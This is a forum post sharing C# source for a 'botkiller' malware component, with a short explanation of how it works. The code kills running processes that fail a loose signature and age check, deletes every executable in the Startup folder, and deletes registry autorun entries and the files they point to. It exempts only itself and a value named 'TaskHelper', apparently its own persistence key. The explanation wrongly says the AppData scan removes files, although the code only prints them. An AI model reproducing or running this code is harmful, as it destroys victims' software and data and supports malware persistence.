Jan 15, 2025 06:19 PM
(This post was last modified: Jan 16, 2025 11:40 AM by Py_Dev.)
Code
//BK
public class Removal
{
public static string startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
public static async Task ScanThreadAsync()
{
try
{
await KillRunningProcessesAsync();
await RemoveStartupFolderFilesAsync();
await RemoveMaliciousRegistryKeysAsync();
await ScanAppDataAsync();
}
catch
{
}
}
private static async Task KillRunningProcessesAsync()
{
int currentProcessId = Process.GetCurrentProcess().Id;
await Task.Run(() =>
{
foreach (var process in Process.GetProcesses())
{
try
{
if (process.Id != currentProcessId &&
!Inspection(process.MainModule?.FileName))
{
process.Kill();
}
}
catch
{
}
}
});
}
private static async Task RemoveStartupFolderFilesAsync()
{
string botkillerExe = Process.GetCurrentProcess().MainModule.FileName;
var files = await Task.Run(() => Directory.GetFiles(startup, "*.exe"));
foreach (var file in files)
{
try
{
if (!string.Equals(file, botkillerExe, StringComparison.OrdinalIgnoreCase))
{
File.Delete(file);
}
}
catch
{
}
}
}
private static async Task RemoveMaliciousRegistryKeysAsync()
{
var registryPaths = new[]
{
@"Software\Microsoft\Windows\CurrentVersion\Run",
@"Software\Microsoft\Windows\CurrentVersion\RunOnce"
};
foreach (var regPath in registryPaths)
{
await RemoveRegistryEntriesAsync(Microsoft.Win32.Registry.CurrentUser, regPath);
await RemoveRegistryEntriesAsync(Microsoft.Win32.Registry.LocalMachine, regPath);
}
}
private static async Task RemoveRegistryEntriesAsync(RegistryKey baseKey, string subKeyPath)
{
await Task.Run(() =>
{
try
{
string currentProcessPath = Process.GetCurrentProcess().MainModule.FileName;
string keyName = "TaskHelper";
using (var subKey = baseKey.OpenSubKey(subKeyPath, writable: true))
{
if (subKey != null)
{
foreach (var valueName in subKey.GetValueNames())
{
var filePath = subKey.GetValue(valueName)?.ToString();
if (!string.IsNullOrEmpty(filePath) &&
string.Equals(filePath, currentProcessPath, StringComparison.OrdinalIgnoreCase))
{
continue;
}
if (string.Equals(valueName, keyName, StringComparison.OrdinalIgnoreCase))
{
continue;
}
if (!string.IsNullOrEmpty(filePath) && File.Exists(filePath))
{
try
{
File.Delete(filePath);
}
catch
{
}
}
try
{
subKey.DeleteValue(valueName);
}
catch
{
}
}
}
}
}
catch
{
}
});
}
private static bool Inspection(string filePath)
{
if (string.IsNullOrEmpty(filePath) || !File.Exists(filePath))
return false;
string currentProcessPath = Process.GetCurrentProcess().MainModule.FileName;
if (string.Equals(filePath, currentProcessPath, StringComparison.OrdinalIgnoreCase))
return true;
string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string localAppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
string[] suspiciousDirectories = new[]
{
Path.Combine(localAppDataPath, "Temp"),
Path.Combine(appDataPath, "Temp"),
Path.Combine(appDataPath, "Microsoft\\Windows")
};
if (suspiciousDirectories.Any(dir => filePath.StartsWith(dir, StringComparison.OrdinalIgnoreCase)))
{
return false;
}
var fileInfo = new FileInfo(filePath);
if (fileInfo.Length < 1024 || fileInfo.Length > 1L * 1024 * 1024 * 1024)
return false;
if (!fileInfo.Extension.Equals(".exe", StringComparison.OrdinalIgnoreCase) &&
!fileInfo.Extension.Equals(".dll", StringComparison.OrdinalIgnoreCase) &&
!fileInfo.Extension.Equals(".bat", StringComparison.OrdinalIgnoreCase) &&
!fileInfo.Extension.Equals(".vbs", StringComparison.OrdinalIgnoreCase) &&
!fileInfo.Extension.Equals(".js", StringComparison.OrdinalIgnoreCase))
return true;
if (!IsFileSigned(filePath))
return false;
if (fileInfo.CreationTime > DateTime.Now.AddHours(-1) ||
fileInfo.LastWriteTime > DateTime.Now.AddHours(-1))
return false;
return true;
}
private static bool IsFileSigned(string filePath)
{
try
{
X509Certificate cert = X509Certificate.CreateFromSignedFile(filePath);
if (cert != null)
{
X509Certificate2 cert2 = new X509Certificate2(cert);
return cert2.Verify();
}
}
catch
{
}
return false;
}
private static async Task ScanAppDataAsync()
{
string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string localAppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
var files = Directory.EnumerateFiles(appDataPath, "*.*", SearchOption.AllDirectories)
.Concat(Directory.EnumerateFiles(localAppDataPath, "*.*", SearchOption.AllDirectories));
await Task.Run(() =>
{
foreach (var file in files)
{
try
{
if (!Inspection(file))
{
Console.WriteLine($"Suspicious file detected: {file}");
}
}
catch
{
}
}
});
}
}How It Works:
Kill Running Processes:
The KillRunningProcessesAsync method ensures that all the processes running on the system not associated with the botkiller program are killed. This is to ensure no malicious process may still run while the botkiller is deleting files and registry entries.
Delete Files in Startup Folder:
It removes all executables in the Startup folder, which would otherwise start up on system boot, to prevent malware from surviving across reboots. The current botkiller executable itself is excluded from deletion.
Registry Key Removal:
The program queries the registry for malicious entries that auto-start programs at login, such as those in the Run and RunOnce registry keys. It removes any entries that aren't the botkiller executable.
Suspicious File Scanning:
Scans files from the AppData and LocalAppData folders to ensure there are not suspicious or possible malware files inside of them, in terms of confirming file properties in terms of sizes, signature(s), dates, etc., which one may regard suspicious, and removing those regarded that way.
